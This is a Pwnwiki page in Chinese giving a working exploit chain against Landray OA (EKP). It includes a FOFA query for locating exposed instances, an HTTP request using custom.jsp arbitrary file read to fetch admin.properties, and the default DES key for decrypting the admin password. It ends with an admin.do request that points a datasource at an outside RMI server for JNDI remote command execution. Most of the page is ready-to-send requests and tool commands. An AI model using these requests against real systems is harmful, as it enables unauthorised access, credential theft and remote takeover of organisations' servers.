Pwnwiki: Created page with "==漏洞描述== 深圳市藍凌軟件股份有限公司數字OA(EKP)存在任意文件讀取漏洞。攻擊者可利用漏洞獲取敏感信息，讀取配置文件得到密..."

2021-05-14T01:42:45Z

Created page with "==漏洞描述== 深圳市藍凌軟件股份有限公司數字OA(EKP)存在任意文件讀取漏洞。攻擊者可利用漏洞獲取敏感信息，讀取配置文件得到密..."

New page

==漏洞描述==
深圳市藍凌軟件股份有限公司數字OA(EKP)存在任意文件讀取漏洞。攻擊者可利用漏洞獲取敏感信息，讀取配置文件得到密鑰後訪問 admin.do 即可利用 JNDI遠程命令執行獲取權限。

==FOFA==
<pre>
app="Landray-OA系统"
</pre>

==漏洞利用==
利用藍凌OA custom.jsp 任意文件讀取漏洞讀取配置文件
<pre>
/WEB-INF/KmssConfig/admin.properties
</pre>

發送請求包
<pre>
POST /sys/ui/extend/varkind/custom.jsp HTTP/1.1
Host:
User-Agent: Go-http-client/1.1
Content-Length: 60
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip

var={"body":{"file":"/WEB-INF/KmssConfig/admin.properties"}}
</pre>

獲取password後，使用 DES方法解密，默認密鑰為 kmssAdminKey

訪問後台地址使用解密的密碼登錄
<pre>
http://xxx.xxx.xxx.xxx/admin.do
</pre>

使用工具執行命令：

https://github.com/welk1n/JNDI-Injection-Exploit
<pre>
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
</pre>

運行工具監聽端口 ping dnslog測試命令執行 (藍凌OA 默認使用的是 JDK 1.7)
<pre>
POST /admin.do HTTP/1.1
Host:
Cookie: JSESSIONID=90EA764774514A566C480E9726BB3D3F; Hm_lvt_9838edd365000f753ebfdc508bf832d3=1620456866; Hm_lpvt_9838edd365000f753ebfdc508bf832d3=1620459967
Content-Length: 70
Cache-Control: max-age=0
Sec-Ch-Ua: " Not A;Brand";v="99", "Chromium";v="90", "Google Chrome";v="90"
Sec-Ch-Ua-Mobile: ?0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.93 Safari/537.36
Origin:
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

method=testDbConn&datasource=rmi://xxx.xxx.xxx.xxx:1099/cbdsdg
</pre>

==參考==
https://short.pwnwiki.org/?c=lgxx6L

藍凌OA SSRF+JNDI遠程命令執行漏洞 - Revision history

Pwnwiki: Created page with "==漏洞描述== 深圳市藍凌軟件股份有限公司數字OA(EKP)存在任意文件讀取漏洞。攻擊者可利用漏洞獲取敏感信息，讀取配置文件得到密..."